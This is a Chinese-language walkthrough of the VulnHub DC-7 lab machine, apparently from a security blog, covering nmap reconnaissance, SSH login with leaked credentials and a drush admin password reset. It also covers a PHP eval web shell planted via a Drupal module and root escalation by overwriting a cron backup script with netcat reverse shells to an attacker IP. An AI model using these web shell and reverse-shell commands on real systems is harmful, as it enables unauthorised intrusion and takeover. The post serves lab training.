阅读须知
技术文章仅供参考,此文所提供的信息仅用于学习,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
我们继续进行红队靶场系列,vulnhub靶机中的 DC-7 。
选用工具:
VM17 官网下载
kali 2023.3版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.3/
靶场文件 https://download.vulnhub.com/dc/DC-7.zip
前期准备工作搞定后,我们继续。
-
主机发现
同样使用 arp-scan
sudo arp-scan -l
1、进行常规的主机发现和信息收集。Nmap 四件套
sudo nmap -sT --min-rate 10000 -p- 192.168.182.136 -oA nmapscan/ports
sudo nmap -sT -sV -sC -O -p80 192.168.182.136 -oA nmapscan/detail
sudo nmap -sU --top-ports 20 192.168.182.136 -oA nmapscan/udp
sudo nmap --script=vuln -p80,22 192.168.182.136 -oA nmapscan/vuln
2、在详细扫描中,发现这是一个 Drupal 站
跳出靶场,盒子之外,找一下vulnhub的提示?
账号密码
dc7user MdR3xOgB7#dW
登录不行
尝试ssh,登录成功了。
看到了,有一个新邮件,查看一下。
解释一下
根据邮件内容,这是一个由 Cron 作业调度程序发出的通知邮件,
指示脚本 /opt/scripts/backups.sh 已成功执行
并将数据库备份保存到 /home/dc7user/backups/website.sql 文件中。
这封邮件是由 cron 守护进程在定时任务执行后自动发送的,
该定时任务执行了 /opt/scripts/backups.sh 脚本,
并成功完成了数据库备份操作。
查看一下该文件本身,权限等基本信息。
/opt/scripts/backups.sh
dc7user@dc-7:~$ cat /opt/scripts/backups.sh
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
看文件执行权限。
dc7user@dc-7:/opt/scripts$ ls -l
total 4
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
解释:
文件的所有者(root)和所属组(www-data)
都有读取(r)、写入(w)和执行(x)的权限。
同时,其他用户也有读取和执行的权限,但没有写入的权限。
这意味着,我们只需有www-data的用户权限,就可以在该定时任务中写入反弹shell,直接实现提权root。现在,我们需要想办法得到www-data的权限。
同时,该文件存在数据库调用命令。
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd /var/www/html/
drush user-password admin --password="123456"
登录成功
没找到php的写入。记得是有这种功能点的。但没有,可以装这种功能模块。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装之后,
可以写个一句话,
http://192.168.182.136/index.php
<?php @eval($_POST['glass']);?>
在定时任务文件中写反弹shell
cd /opt/scripts
echo "nc 192.168.182.129 -e 4444 /bin/bash" > backups.sh
这毕竟是模拟的命令行,交互性可能不足,进行一下外联。
这是使用msf生成的。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.182.129 lport=4444 R
mkfifo /tmp/zkemj; nc 192.168.182.136 4444 0</tmp/zkemj | /bin/sh >/tmp/zkemj 2>&1; rm /tmp/zkemj
提升一下观赏性,
python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
继续写反弹shell
成功写入。现在只需等待即可。
总结一下。先通过社工,找到了一个账号密码,进行尝试登录。验证后,发现是用于ssh登录。登录后,存在有一个显眼的邮件提示,查看邮件,发现存在有定时任务,并且有root权限。看写入该文件需要什么权限,发现现登录的用户无写权限,但是存在www-data有权限,尝试获取www-data权限,后发现存在drush 命令,可以直接改web的密码,进入后台后,找可写入php 的点,没有则下载模块,反弹shell,修改定时任务文件,成功拿到最高权限。
原文始发于微信公众号(Glass的网安笔记):【红队靶机系列】-- DC-7
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论